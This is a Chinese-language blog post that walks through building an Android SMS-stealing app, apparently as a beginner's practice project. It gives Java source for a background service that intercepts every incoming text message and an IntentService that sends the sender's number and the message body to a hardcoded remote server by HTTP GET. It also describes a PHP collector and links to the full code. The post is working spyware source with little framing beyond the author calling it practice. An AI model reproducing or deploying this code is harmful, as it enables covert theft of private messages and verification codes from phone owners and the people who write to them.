初入android,先弄个短信窃听器练手。

基本思想很简单,首先启动个service,在该service中开启一个BroadcastReceiver来监听短信,在onReceive方法中,一旦发现了新短信,那么就开启一个IntentService来把短信发送到我们的服务器上。

这里给出部分代码
后台服务的代码。

package me.lightless.smstheft;

import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.os.IBinder;
import android.telephony.SmsMessage;
import android.util.Log;

/**
 * Created by lightless on 2014/11/15.
 */
public class BgService extends Service {

    private static final String TAG = "SMSTheft";
    private IntentFilter receiveFilter;
    private MessageReceiver messageReceiver;

    private Context BgServiceThis = this;

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        Log.d(TAG, "[DEBUG]BgService onCreate called.");
        receiveFilter = new IntentFilter();
        receiveFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
        receiveFilter.setPriority(100);

        messageReceiver = new MessageReceiver();
        registerReceiver(messageReceiver, receiveFilter);
    }


    class MessageReceiver extends BroadcastReceiver {

        @Override
        public void onReceive(Context context, Intent intent) {
            Log.d("SMS", "onReceive called.");
            Bundle bundle = intent.getExtras();
            Object[] pdus = (Object[]) bundle.get("pdus");
            SmsMessage[] messages = new SmsMessage[pdus.length];
            for (int i = 0; i < messages.length; i++) {
                messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
            }
            String address = messages[0].getOriginatingAddress();
            String address2 = messages[0].getDisplayOriginatingAddress();
            String fullMessage = "";
            for (SmsMessage message : messages) {
                fullMessage += message.getMessageBody();
            }
            Log.d(TAG, "[DEBUG]" + address + fullMessage + address2);

            // String smsString = address + "-" + fullMessage;
            // 启动intentService去把短信发出去
            Intent startService = new Intent(BgServiceThis, SendMessageService.class);
            startService.putExtra("address", address);
            startService.putExtra("content", fullMessage);
            startService(startService);
        }
    }

}

发送短信到服务器上的代码

    @Override
    protected void onHandleIntent(Intent intent) {
        Log.d(TAG,"[DEBUG]onHandleIntent called.");
        // http://107.189.158.11/ls/23kaso23.php?address=123&content=abc
        // String temp = intent.getStringExtra("smsString");
        // Log.d(TAG, "smsString" + temp);
        // String [] data = temp.split("");
        String address = intent.getStringExtra("address");
        String content = intent.getStringExtra("content");

        Log.d(TAG, "[DEBUG]address: " + address);
        Log.d(TAG, "[DEBUG]content: " + content);

        // send message
        try {
            HttpClient httpClient = new DefaultHttpClient();
            String url = "http://107.189.158.11/ls/23kaso23.php?address=" + address
                    + "&content=" + content;
            HttpGet httpGet = new HttpGet(url);
            httpClient.execute(httpGet);
        } catch (Exception e) {
            e.printStackTrace();
        }
        Log.d(TAG, "[DEBUG] Send done.");

    }

服务器接收的时候写个简单的PHP页面即可,简单的写到文本文件里。
完整代码请移步Github:https://github.com/LightIce/AndroidSMSTheft